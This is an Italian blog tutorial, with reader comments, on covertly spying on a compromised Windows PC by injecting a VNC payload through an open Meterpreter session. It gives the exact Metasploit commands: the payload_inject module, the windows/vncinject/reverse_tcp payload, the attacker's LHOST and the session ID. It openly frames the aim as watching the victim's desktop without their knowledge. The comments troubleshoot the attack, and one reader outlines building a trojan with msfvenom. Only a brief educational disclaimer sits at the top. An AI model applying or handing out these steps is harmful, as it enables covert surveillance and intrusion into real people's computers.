N.B.: Tutte le informazioni contenute nel seguente articolo sono a scopo esclusivamente didattico, pertanto l'autore non si riterrà responsabile dell'abuso di tali informazioni da parte degli utenti del sito, qualora esse venissero utilizzate per scopi illegali.

Abbiamo ottenuto il controllo di un PC Windows remoto con Metasploit e ora vogliamo vedere in tempo reale ciò che accade sul desktop della vittima: vedere i programmi aperti, visualizzare le pagine internet che consulta, insomma, spiare le azioni dell’utente che si trova dietro alla macchina in nostro possesso. Tutto ciò è possibile tramite un software VNC.

VNC è l’acronimo di Virtual Network Computing, generalmente sono dei software che si installano di proposito sui computer al fine di controllarli da remoto o di fornire assistenza diretta ad un utente in difficoltà con scarse competenze nell’uso del PC. Per citarne alcuni tra i più conosciuti: TightVNC, Team Viewer, RealVNC. Il risultato che otteniamo dall’installazione di questi software su un PC remoto, è la possibilità di connettersi ad esso, vederne in tempo reale il desktop e interagire con esso.

In questo articolo, tratteremo l’installazione di un software VNC su un bersaglio Windows remoto ad insaputa dell’utilizzatore di questa macchina mediante la tecnica payload injection. Abbiamo la nostra sessione di Meterpreter aperta sulla vittima, come prima operazione mettiamo la sessione in background lanciando da console il comando background

Guida Metasploit - vncinject

 

Cambiamo il contesto di utilizzo di msfconsole sul modulo di post-expoitation payload_inject, che di fatto inietta un payload nella macchina bersaglio mediante una sessione già aperta su di essa

use windows/manage/payload_inject

Guida Metasploit - vncinject

 

Configuriamo il modulo con i seguenti comandi

set PAYLOAD windows/vncinject/reverse_tcp
set LHOST [ip_attacker]
set SESSION [id_sessione]
set HANDLER true

Guida Metasploit - vncinject

 

A questo punto lanciamo la payload injection con il classico comando run o exploit

Guida Metasploit - vncinject

 

Una volta lanciato, una finestra VNC si aprirà sulla macchina attaccante, mostrandoci in tempo reale lo schermo della vittima

Guida Metasploit - vncinject

Condividi: Vedere in tempo reale il desktop di un PC tramite VNC e payload injection

  1. Salve, una volta lanciato il comando “run”, non mi compare nessun errore, però, alla fine mi indica che è stata creata una nuova sessione senza aprire niente… Non so cosa io stia sbagliando.
    Grazie in anticipo 🙂

  2. Ciao, scusa per il ritardo, io non creo un payload come nel primo punto ma bensì lo con setoolkit —> punti 9 – 1 – 1
    per quanto riguarda il secondo, quando uso il romano run finisce con <> creandomi una nuova connessione meterpreter, senza aprire alcuna facciata video del desktop del computer “vittima”.
    Grazie in anticipo 😉

    1. Nessun problema, però devi dirmi le voci corrispondenti ai numeri di setoolkit, perché a seconda delle versioni cambia l’ordine e si aggiungono delle voci 🙂

        1. Ma non ho capito, hai problemi a guadagnare la prima sessione, o per la prima sessione non ci sono problemi e fai fatica con l’acquisizione del desktop con VNC?

  3. O MIO DIO quanto sono stupido, io per essere più rapido uso il comando tab, di conseguenza mi veniva sbagliato il comando “set PAYLOAD windows/vncinject/reverse_tcp” perché usciva “windows/meterpreter/reverse_tcp”.
    Mi scuso per avervi fatto perdere del tempo.

  4. Ciao.
    Bell’articolo! e Bel sito in italiano!
    Come hai scritto all’inizio dell’articolo, un software VNC dovrebbe permetterti anche di interagire con la macchina della vittima. Con questo script invece è possibile solo vedere remotamente su cosa stia lavorando la vittima.
    Come idea potreste andare anche a sviluppare questo concetto scrivendo anche come effettivamente prendere il controllo della GUI in remoto.

    Continuate così.

    1. Grazie per i complimenti, Frank! Sinceramente però la tua idea non mi sembra delle migliori: immagina di essere la vittima reale di questo attacco. Mentre usi il tuo PC cominci a vedere il cursore del mouse che si muove da solo, finestre che si aprono e programmi che si avviano senza che tu li abbia lanciati. Io penso che staccherei il PC dalla corrente e lo butterei fuori dalla finestra in pochi secondi 😉

  5. Ciao MKay,
    una domanda: quando faccio partire l’handler con il comando run msfconsole si mette in ascolto sull’ip e la porta specificate, ma non cattura la request dalla sessione di meterpreter. L’unico modo per far partire il payload è quello di eseguire di nuovo il trojan.exe dalla macchina vittima. In quel caso la request viene catturata e parte la finestra vnc. Mi chiedevo se ci fosse un modo per inviare di nuovo la request da una sessione meterpreter già aperta. Non sò se sono stato chiaro, provo a spiegarmi meglio:
    1)creo il trojan.exe con msfvenom
    2)mi metto in ascolto da msfconsole con l’exploit/multi/handler
    3)dalla macchina “vittima” clicco l’eseguibile e nella macchina attaccante viene aperta una nuova sessione meterpreter.
    4)metto in background
    5)quando lancio il secondo exploit come descritto sopra mi dice che l’IP che ho scelto è già in uso dal job 1 … quindi sono costretto a killare il job 1 e rilanciare l’exploit vncinject..
    6)a questo punto l’handler resta in ascolto finche non eseguo di nuovo il trojan dalla macchina vittima. Fatto questo funziona tutto

    La domanda è :

    c’è un modo per avviare la cattura del monitor VNC a partire dalla sessione di meterpreter gia avviata, ma senza la necessità di ri-eseguire il trojan?

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.